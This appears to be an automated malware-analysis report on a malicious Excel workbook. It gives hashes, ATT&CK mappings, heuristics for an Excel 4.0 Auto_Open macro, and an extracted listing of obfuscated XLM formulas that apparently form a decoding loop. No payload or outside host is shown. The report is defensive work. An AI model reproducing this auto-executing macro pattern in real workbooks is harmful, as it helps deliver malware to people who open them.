Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b7a53397b601b189…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:36 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: ce3e08227ec9fd4d23238096f2c7d623 SHA-1: 8cbe7e9126ceb68639dba32022116cd4d640643c SHA-256: b7a53397b601b1896a598c1b6e085f664ccd301b576996420c7e83f501928cc6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further suggests malicious intent. While the exact payload is not discernible from the provided evidence, the Auto_Open macro is designed to execute arbitrary code, likely leading to further compromise.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6685 bytes
SHA-256: c91a68ccc9f5114d3b6ac97b8376af0438406b626b94c7f59fe2feea70037e1a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FVWgZmqM
' 0018     22 LABEL : Cell Value, String Constant - aTXsFXc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B147 
' 0018     24 LABEL : Cell Value, String Constant - cwLyHCxeb len=0 
' 0018     24 LABEL : Cell Value, String Constant - dmcVlBjGj len=0 
' 0018     22 LABEL : Cell Value, String Constant - EBMWwEi len=0 
' 0018     21 LABEL : Cell Value, String Constant - eDEXSK len=0 
' 0018     26 LABEL : Cell Value, String Constant - eiaRajMIDFf len=0 
' 0018     21 LABEL : Cell Value, String Constant - etkPKg len=0 
' 0018     26 LABEL : Cell Value, String Constant - ghyCfykwOQh len=0 
' 0018     22 LABEL : Cell Value, String Constant - HKdtbNA len=0 
' 0018     23 LABEL : Cell Value, String Constant - jIJhnVmH len=0 
' 0018     22 LABEL : Cell Value, String Constant - KngxEew len=0 
' 0018     20 LABEL : Cell Value, String Constant - npyOl len=0 
' 0018     20 LABEL : Cell Value, String Constant - QDuVg len=0 
' 0018     23 LABEL : Cell Value, String Constant - qOFigtQf len=0 
' 0018     21 LABEL : Cell Value, String Constant - qvfaRN len=0 
' 0018     20 LABEL : Cell Value, String Constant - UVQCf len=0 
' 0018     24 LABEL : Cell Value, String Constant - vTqmyrWhw len=0 
' 0018     26 LABEL : Cell Value, String Constant - wApeHCdyszB len=0 
' 0018     23 LABEL : Cell Value, String Constant - wkTTIKXd len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZTQqfu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FVWgZmqM,Q41,"",387.00000000000000000000
'  FVWgZmqM,Q42,"",573.00000000000000000000
'  FVWgZmqM,Q43,"",-783.00000000000000000000
'  FVWgZmqM,Q44,"",-359.00000000000000000000
'  FVWgZmqM,Q45,"",-327.00000000000000000000
'  FVWgZmqM,Q46,"",-936.00000000000000000000
'  FVWgZmqM,B61,"SET.NAME("npyOl",0+VALUE("0"))",""
'  FVWgZmqM,B63,"SET.NAME("HKdtbNA",npyOl)",""
'  FVWgZmqM,B68,"SET.NAME("wkTTIKXd",npyOl)",""
'  FVWgZmqM,B72,"SET.NAME("jIJhnVmH",COUNTA(qOFigtQf))",""
'  FVWgZmqM,B77,"SET.NAME("dmcVlBjGj",COUNTA(KngxEew))",""
'  FVWgZmqM,B81,[],""
'  FVWgZmqM,B83,"SET.NAME("aTXsFXc","")",""
'  FVWgZmqM,B87,"HKdtbNA",""
'  FVWgZmqM,B89,"SET.NAME("EBMWwEi",HLOOKUP("*",qOFigtQf,HKdtbNA,FALSE))",""
'  FVWgZmqM,B91,"cwLyHCxeb",""
'  FVWgZmqM,B96,"SET.NAME("qvfaRN",npyOl)",""
'  FVWgZmqM,B99,[],""
'  FVWgZmqM,B103,"qvfaRN",""
'  FVWgZmqM,B105,"etkPKg",""
'  FVWgZmqM,B110,"vTqmyrWhw",""
'  FVWgZmqM,B112,"UVQCf",""
'  FVWgZmqM,B116,"SET.NAME("QDuVg",VALUE(HLOOKUP("*",KngxEew,UVQCf,FALSE)))",""
'  FVWgZmqM,B118,"wApeHCdyszB",""
'  FVWgZmqM,B123,"aTXsFXc",""
'  FVWgZmqM,B125,"wkTTIKXd",""
'  FVWgZmqM,B127,NEXT(),""
'  FVWgZmqM,B129,"ZTQqfu",""
'  FVWgZmqM,B133,[],""
'  FVWgZmqM,B137,"eDEXSK",""
'  FVWgZmqM,B142,NEXT(),""
'  FVWgZmqM,B145,RETURN(),""
'  FVWgZmqM,B171,"SET.NAME("eiaRajMIDFf",B61)",""
'  FVWgZmqM,B174,"qOFigtQf",""
'  FVWgZmqM,B177,"SET.NAME("KngxEew",R93C11)",""
'  FVWgZmqM,B181,"SET.NAME("eDEXSK",188)",""
'  FVWgZmqM,B184,"SET.NAME("ghyCfykwOQh",2)",""
'  FVWgZmqM,B187,eiaRajMIDFf(),""
'  FVWgZmqM,B188,HALT(),""